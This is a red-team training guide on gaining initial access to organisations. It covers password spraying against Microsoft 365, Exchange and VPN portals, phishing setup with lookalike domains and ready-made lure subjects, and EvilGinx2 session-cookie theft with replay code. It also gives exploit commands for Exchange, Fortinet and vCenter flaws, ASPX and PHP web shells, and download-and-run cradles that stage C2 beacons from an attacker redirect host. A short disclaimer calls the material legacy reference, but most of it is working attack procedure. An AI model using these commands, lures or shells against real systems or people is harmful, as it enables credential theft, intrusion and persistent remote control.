0.4 — Initial Access
0.4 — Initial Access
BLUF: Every technique in pillars 1–7 assumes you already have a shell. This file covers how you get it. Initial access is the hardest phase to teach in a lab because it requires realistic targets — real portals, real email filters, real MFA. Study the methodology here, practice on authorized targets, and recognize the pattern when you hit it in the field.
Reading order: This file sits before Pillar 1. Complete recon (external, OSINT, technology fingerprinting) before choosing an initial access vector. Initial access feeds directly into 1. Linux or 2. Windows AD depending on what you land on.
Initial Access Decision Tree
[External recon complete]
|
+---> Login portals found? ----> [Password spray] (Section 3)
|
+---> Email addresses found? --> [Phishing] (Section 4-5)
|
+---> Public-facing apps? -----> [Exploit chain] (Section 6)
|
+---> Web application? ---------> [Web vuln → shell] (Section 7)
|
+---> Physical access in scope? -> [USB / Badge clone] (out of scope for this file)
MITRE ATT&CK Mapping
Map the behavior that was actually exercised. A tool, delivery platform, protocol, vulnerability, or successful outcome is not itself the technique.
| Behavior | ATT&CK mapping | Mapping condition |
|---|---|---|
| Password spray | T1110.003 — Password Spraying | Controlled attempts across synthetic accounts |
| Use of a valid obtained account | T1078 — Valid Accounts | Map separately only when the account is actually used |
| Spearphishing attachment | T1566.001 — Spearphishing Attachment | The attachment is the delivery behavior |
| Spearphishing link | T1566.002 — Spearphishing Link | The link is the delivery behavior |
| Exploit an owned public-facing application | T1190 — Exploit Public-Facing Application | Exploitation occurs against the intentionally vulnerable lab application |
| Place a web shell | T1505.003 — Web Shell | Post-exploitation server persistence; separate from the initial exploit |
| Capture a legitimate session cookie | T1539 — Steal Web Session Cookie | The cookie is stolen or intercepted |
| Replay a captured session cookie | T1550.004 — Web Session Cookie | The captured cookie is used to authenticate |
| Forge a new web cookie | T1606.001 — Web Cookies | A new cookie is cryptographically generated rather than intercepted |
| HTTPS carries command-and-control traffic | T1071.001 — Web Protocols | Map only when the web protocol actually carries C2 traffic |
Conversion status: The operational sections below are legacy reference material, not approved lab exercises. Before using any part, rewrite it as a card in TTP Validation Catalog with synthetic identities or canary data, exact scope, expected telemetry, a proof limit, a stop condition, and verified cleanup. Do not collect real credentials or session cookies, target real people, establish persistence, or continue beyond the approved proof.
Section 1 — External Recon for Initial Access
Before choosing a vector, build a target profile. You need: login portals, email format, technology stack, and employee list.
# --- Technology fingerprinting ---
# What's running on the perimeter?
nmap -sV -sC -p 80,443,8080,8443,8888,10443 target.com
whatweb https://target.com # CMS, framework, server headers
curl -si https://target.com | grep -i "server\|x-powered-by\|via\|x-aspnet"
# --- Login portal discovery ---
# OWA (Outlook Web App)
curl -si https://mail.target.com/owa/
curl -si https://autodiscover.target.com/autodiscover/autodiscover.xml
# Azure AD / O365
curl -si "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
# Returns tenant ID if domain is O365-federated
# VPN portals
for sub in vpn sslvpn remote access gateway pulse anyconnect; do
host $sub.target.com 2>/dev/null | grep 'has address' && echo "Found: $sub.target.com"
done
# Citrix, RDP gateway, Webex
nmap -p 443 --script http-title $(dig +short citrix.target.com)
# --- Email format discovery ---
# Hunter.io, LinkedIn, OSINT sources
# Common patterns: firstname.lastname, f.lastname, firstnamelastname
# Verify email format with SMTP VRFY (rarely works) or O365 user enum
python3 o365spray.py --validate --domain target.com # confirm O365 tenant
python3 o365spray.py --enum -U userlist.txt --domain target.com # validate usernames
# --- Employee list (LinkedIn OSINT) ---
# linkedin2username: generates username variations from LinkedIn profiles
python3 linkedin2username.py -c 'Target Company' -n 100 # scrape LinkedIn
# Outputs: first.last, flast, firstlast variations
Section 2 — Identify MFA Posture
Before spraying or phishing, confirm what MFA (if any) is deployed. This determines whether you need EvilGinx2 or whether a simple spray is sufficient.
# O365: Check if MFA is enforced for external auth
# Try logging in manually to https://login.microsoftonline.com — watch the prompt flow
# No MFA prompt after password = Legacy Auth allowed (spray works cleanly)
# MFA prompt = you need EvilGinx2 or app password spray
# Check if legacy authentication protocols are enabled (IMAP, SMTP, POP3)
# These bypass MFA entirely on older O365 configs
# Tool: MFASweep
Invoke-MFASweep -Username user@target.com -Password Password123
# Check Conditional Access: does the org enforce MFA for all apps?
# If not — some apps (SharePoint mobile, IMAP) may bypass it
# Enumerated by attempting auth against legacy endpoints
MFA bypass decision:
| MFA State | Vector |
|---|---|
| No MFA | Password spray directly |
| MFA but legacy auth enabled | Spray via IMAP/SMTP endpoints |
| MFA enforced, no legacy auth | EvilGinx2 adversary-in-the-middle phishing |
| Phishing-resistant MFA (FIDO2, passkey) | Social engineering, physical access, or supply chain |
Section 3 — External Password Spraying
Password spraying tests one or a few passwords across many accounts. The key constraint is lockout threshold — never exceed it.
# Step 1: Enumerate lockout policy before spraying
# O365: query the tenant's lockout settings (usually 10 attempts before lockout)
# Default: 10 attempts, 60 second window → spray 1 password per account per ~30 min
# Step 2: Build a target username list
# Use LinkedIn OSINT, o365spray enum, or company directory
cat > users.txt << 'EOF'
john.smith@target.com
jane.doe@target.com
...
EOF
# Step 3: Choose passwords
# Season + year, Company + year, Welcome1, Password1!, Summer2025
# Check previous breach data for the domain: dehashed, haveibeenpwned
OWA / Exchange Spray
# SprayingToolkit (OWA, EWS, Autodiscover)
python3 sprayingtoolkit.py owa --target https://mail.target.com/owa \
-u users.txt -p 'Winter2025!' --delay 30
# Ruler (Exchange — also checks for legacy auth)
ruler -domain target.com -username user -password 'Password1' brute \
--users users.txt --passwords passwords.txt --delay 30 --verbose
O365 / Azure AD Spray
# o365spray (supports multiple O365 auth endpoints)
python3 o365spray.py --spray -U users.txt -P 'Spring2025!' \
--domain target.com --rate 30
# TREVORspray (distributed, supports rotating proxies)
trevorspray -u users.txt -p 'Password1!' -t target.com \
--delay 45 --jitter 10
# MSOLSpray (legacy MSOL endpoint — bypasses some Conditional Access)
Invoke-MSOLSpray -UserList users.txt -Password 'Welcome1!' -OutFile hits.txt
# MailSniper — spray OWA and enumerate GAL
Invoke-PasswordSprayOWA -ExchHostname mail.target.com -UserList users.txt -Password 'Fall2025!'
VPN / Citrix / Pulse Spray
# Citrix StoreFront
python3 spray.py -t https://citrix.target.com/citrix/StoreWeb -u users.txt -p 'Password1!'
# Pulse Secure VPN
curl -s -X POST https://vpn.target.com/dana-na/auth/url_default/login.cgi \
-d "username=testuser&password=Password1&tz_offset=0"
# GlobalProtect (PAN-OS)
python3 gpspray.py --host vpn.target.com -U users.txt -P 'Winter2025!'
# ADFS
# ADFS uses WSTrust — spray via Invoke-ADFSSecurityAssessment or MailSniper
Invoke-ADFSSecurityAssessment -ADFSFqdn adfs.target.com -Users users.txt -Passwords passwords.txt
Spray OPSEC rules:
- 1 password per account per 30 minutes minimum
- Spray from a residential IP or proxy — datacenter IPs trigger Microsoft's smart lockout
- Check
net accounts /domainor the O365 tenant's lockout threshold before starting - Stop immediately if accounts start locking — threshold calculation was wrong
Section 4 — Phishing Infrastructure Setup
Domain Setup
# Buy a typosquat or lookalike domain:
# target-helpdesk.com, targetcorp-it.com, secure-target.com
# Age the domain: register 2+ weeks before the engagement (DNS reputation)
# Categorize it: load the domain with legitimate content for a week before use
# Let's Encrypt cert (required — no browser warnings)
certbot --standalone -d phish.targetlookalike.com -m ops@yourdomain.com --agree-tos
# Check domain reputation before use
curl "https://www.virustotal.com/vtapi/v2/url/report?apikey=KEY&resource=https://phish.domain.com"
# Target: 0 detections, positive categorization (news, tech, business)
GoPhish Setup (Credential Harvest + Click Tracking)
# Install GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-amd64.zip
unzip gophish-*.zip && chmod +x gophish
# Edit config.json
{
"admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true },
"phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.domain.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.domain.com/privkey.pem"
}
}
sudo ./gophish
# Admin UI: https://127.0.0.1:3333 (tunnel via SSH if on remote VPS)
# Default credentials: admin / [printed in console on first launch — change immediately]
# GoPhish workflow:
# 1. Sending Profile — configure SMTP relay (SendGrid, Mailgun, or self-hosted Postfix)
# 2. Landing Page — clone the target login page (GoPhish has a built-in page importer)
# 3. Email Template — craft the pretex email
# 4. Users & Groups — import target email list
# 5. Campaign — tie everything together, set send rate, launch
Email Template Best Practices
Subject lines that work:
"Action Required: Verify your account before [DATE]"
"IT Security: Multi-Factor Authentication enrollment required"
"Your VPN certificate expires in 48 hours — renew now"
"DocuSign: [Name] has sent you a document for signature"
"Your password will expire in 3 days"
Pretext elements:
- Use the correct logo, color scheme, and font of the cloned portal
- Reference the real company name and IT department name (LinkedIn OSINT)
- Include a plausible deadline
- Use a sender address that matches expected IT comms (it-helpdesk@targetlookalike.com)
- Include a footer with company address, unsubscribe link (legitimacy signal)
Section 5 — EvilGinx2 (MFA Bypass via Adversary-in-the-Middle)
EvilGinx2 proxies the victim's login through a real authentication server, capturing the session cookie after MFA completion. The attacker gets a valid, post-MFA session token — not just a password.
# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make
# Configure
./evilginx2 -p ./phishlets -c /etc/letsencrypt/
# Inside evilginx2 console:
: config domain phish.targetlookalike.com
: config ip YOUR_VPS_IP
# Select and enable a phishlet (built-in: o365, okta, github, linkedin, twitter)
: phishlets hostname o365 phish.targetlookalike.com
: phishlets enable o365
# Create a lure (the URL you send to the victim)
: lures create o365
: lures get-url 0
# Returns: https://phish.targetlookalike.com/UNIQUEPATH — this is your phish link
# Monitor captures
: sessions
: sessions 1 # view captured session details + cookies
# Extract captured cookies and replay them
# Cookie is in JSON format — import to browser via EditThisCookie extension
# Or use requests in Python:
import requests
session = requests.Session()
session.cookies.set('ESTSAUTHPERSISTENT', 'CAPTURED_COOKIE_VALUE', domain='.login.microsoftonline.com')
r = session.get('https://outlook.office.com/mail/')
print(r.status_code) # 200 = valid session, you're in as the victim
# Or use AADInternals to enumerate the tenant with the captured token
Import-Module AADInternals
$token = Get-AADIntAccessTokenForEXO -Cookie 'ESTSAUTHPERSISTENT=CAPTURED_VALUE'
Get-AADIntTenantDetails -AccessToken $token
EvilGinx2 OPSEC:
- Use a domain that's at least 2 weeks old — fresh domains get flagged by O365 Safe Links
- Enable
unauth_urlredirect to a legitimate page — scanners following your phish link should see real content - The phish URL is single-use by default — regenerate if burned
- Microsoft's ATP Safe Links will scan your URL — configure EvilGinx2 to detect and serve a decoy to scanner IPs
Section 6 — Public Exploit Initial Access
When password spraying and phishing fail, search the perimeter for exploitable public vulnerabilities.
Reconnaissance for CVEs
# Fingerprint exact version numbers
nmap -sV --version-intensity 9 target.com
whatweb https://target.com
curl -si https://target.com | grep -i "server\|x-powered-by\|x-owa-version\|x-aspnet"
# Check known vulnerability databases for the fingerprinted version
# ExchangeVersion header → check against ProxyShell/ProxyLogon affected versions
# Citrix ADC version → check against CVE-2019-19781 (Shitrix) or CVE-2023-3519
# Shodan for passive fingerprinting (no active probing)
shodan host TARGET_IP
Exchange — ProxyShell (CVE-2021-34473 / 34523 / 31207)
# Check if Exchange is vulnerable (check version, not just patch)
curl -si https://mail.target.com/autodiscover/autodiscover.json?@target.com/owa/&Email=autodiscover/autodiscover.json%3F@target.com
# ProxyShell PoC (drops web shell via SYSTEM-level SSRF)
python3 proxyshell.py -u https://mail.target.com -e admin@target.com
# If successful: web shell at /aspnet_client/[random].aspx
# Upload a legitimate-looking ASPX reverse shell or stage your C2 payload
curl -s https://mail.target.com/aspnet_client/shell.aspx?cmd=whoami
Citrix ADC (CVE-2023-3519 — unauthenticated RCE)
# Fingerprint Citrix version
curl -si https://citrix.target.com/vpn/index.html | grep -i "citrix\|ns_build"
# CVE-2023-3519 RCE (affects NetScaler ADC 13.0 before 13.0-91.13)
# Public PoC: https://github.com/telekom-security/cve-2023-3519-citrix-scanner
python3 citrix_scan.py --url https://citrix.target.com
# If vulnerable: execute OS commands as nsroot
Fortinet (CVE-2022-40684 — auth bypass, CVE-2023-27997 — pre-auth heap overflow)
# CVE-2022-40684: Authentication bypass on FortiOS, FortiProxy, FortiSwitchManager
curl -k -X PUT https://target.com/api/v2/cmdb/system/admin/admin \
-H "User-Agent: Report Runner" \
-H "Content-Type: application/json" \
-H "Forwarded: for=\"[127.0.0.1]:8888\"" \
-d '{"ssh-public-key1": "ssh-rsa AAAAB3... operator@redteam"}'
# If vulnerable: your SSH key added to admin account
VMware vCenter (CVE-2021-21985 / CVE-2021-22005)
# CVE-2021-22005: unauthenticated file upload → RCE (vCenter 6.7 / 7.0)
curl -s -X POST https://vcenter.target.com/analytics/telemetry/ph/api/hyper/send?_c&_i=test \
--data-binary @payload.json -H "Content-Type: application/json"
# Public scanner
python3 CVE-2021-22005.py https://vcenter.target.com
Automated Perimeter Scanning
# nuclei — fast vulnerability scanner with CVE templates
nuclei -u https://target.com -t cves/ -severity critical,high -o nuclei_output.txt
# Check specific product categories
nuclei -u https://target.com -tags exchange,citrix,fortinet,vmware,confluence
# Metasploit for specific CVEs
msfconsole -q
msf > search exchange proxyshell
msf > use exploit/windows/http/exchange_proxyshell_rce
msf > set RHOSTS mail.target.com
msf > set LHOST ATTACKER_IP
msf > run
Section 7 — Web Application Initial Access
When the perimeter app has no known CVE but is custom-built, find a web vulnerability that achieves code execution.
# Fast recon
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,aspx,html,txt -o gobuster.txt
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
# Identify upload endpoints — most reliable path to shell
# - File upload forms
# - Profile picture upload
# - Document/attachment upload
# - API endpoints accepting multipart/form-data
# Test upload bypass: if .php blocked, try .phtml, .php5, .shtml, .phar
# If extension checked but not MIME: send .php file with Content-Type: image/jpeg
# If content checked: embed PHP in valid JPEG EXIF data
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg
# SSRF → internal RCE path
# Find parameters that fetch URLs (url=, src=, path=, redirect=, next=)
# Internal targets: http://169.254.169.254/latest/meta-data/ (AWS IMDS)
# Internal services: http://127.0.0.1:8080/manager (Tomcat), Redis, MongoDB
# SQLi → OS command execution (MSSQL xp_cmdshell, MySQL outfile)
# SQLi → read web.config or .env for credentials
sqlmap -u "https://target.com/api?id=1" --dbs --batch
sqlmap -u "https://target.com/api?id=1" --os-shell --batch # MSSQL only
Section 8 — Foothold Stabilization: Web Shell → C2
Once you have code execution via web shell or RCE, your first priority is getting a stable, persistent beacon before anything else.
# Step 1: Confirm execution and host context
# Minimal web shell (ASPX — Windows IIS):
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(
new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){
UseShellExecute=false, RedirectStandardOutput=true
}).StandardOutput.ReadToEnd()); %>
# Minimal web shell (PHP — Linux/Windows Apache/nginx):
<?php system($_GET['c']); ?>
# Step 2: Determine network egress
# What can this host reach outbound?
curl -si http://ifconfig.me # can it reach internet directly?
curl -si https://ifconfig.me # HTTPS allowed?
# If neither works: DNS only? Or internal proxy?
# Check: env | grep -i proxy; cat /etc/environment
# Step 3: Stage your C2 beacon (Windows — PowerShell download cradle)
# Transfer Sliver/CS shellcode without touching disk:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent","Mozilla/5.0")
$bytes = $wc.DownloadData("https://redirect.yourdomain.com/update.png")
[System.Reflection.Assembly]::Load($bytes) # in-memory load (for .NET beacons)
# Or use certutil for binary staging (fallback):
certutil -urlcache -f https://redirect.yourdomain.com/update.bin C:\Windows\Temp\svc.exe
C:\Windows\Temp\svc.exe
# Step 4: Stage your C2 beacon (Linux)
# Download and execute in-memory (no disk write):
curl -s https://redirect.yourdomain.com/update | bash
# Or stage via /dev/shm (memory-backed filesystem):
curl -s https://redirect.yourdomain.com/beacon -o /dev/shm/.cache && chmod +x /dev/shm/.cache && /dev/shm/.cache &
# Step 5: Verify beacon callback in C2 console before touching anything else
# Once beacon is live:
# - Confirm username, hostname, PID, architecture
# - Set appropriate sleep + jitter for the environment
# - Deploy backup beacon with long sleep before starting main ops
Stabilization OPSEC
1. NEVER use the web shell for ops — get a real beacon first, then kill the shell
2. Remove the web shell after beacon is live (document its path first for the report)
3. Set sleep ≥ 60s with ≥ 25% jitter before running any post-exploitation
4. Deploy a backup beacon (different host, different C2 profile, 24h sleep) before proceeding
5. Confirm what EDR/AV is running before executing anything (see Windows AI1 Phase 1)
6. Check proxy/firewall egress: what ports can the host reach? (80/443/53 — which works?)
Pre-Engagement Initial Access Checklist
[ ] External recon complete — login portals, email format, tech stack identified
[ ] MFA posture confirmed — determines spray vs EvilGinx2
[ ] Spray lockout threshold known — check before executing
[ ] Domain for phishing aged 14+ days, TLS cert issued, categorized
[ ] GoPhish configured with custom sending profile and landing page
[ ] EvilGinx2 phishlet tested against the target portal in lab first
[ ] CVE list compiled for fingerprinted versions
[ ] Nuclei scan complete on perimeter
[ ] Backup C2 deployed before starting main ops
[ ] Web shell removed after beacon confirmed live
Resources
| Resource | Purpose |
|---|---|
| GoPhish | Phishing campaign management |
| EvilGinx2 | Adversary-in-the-middle MFA bypass |
| o365spray | O365 user enumeration + spray |
| TREVORspray | Distributed O365 spray via rotating proxies |
| MSOLSpray | Legacy MSOL endpoint spray |
| SprayingToolkit | OWA / Lync / ADFS spray |
| linkedin2username | LinkedIn OSINT → username list |
| nuclei | Fast perimeter CVE scanning |
| Seclists | Wordlists for spray, enum, fuzzing |
| MailSniper | Exchange/O365 recon + spray |
Part of the Red Teaming 101 series.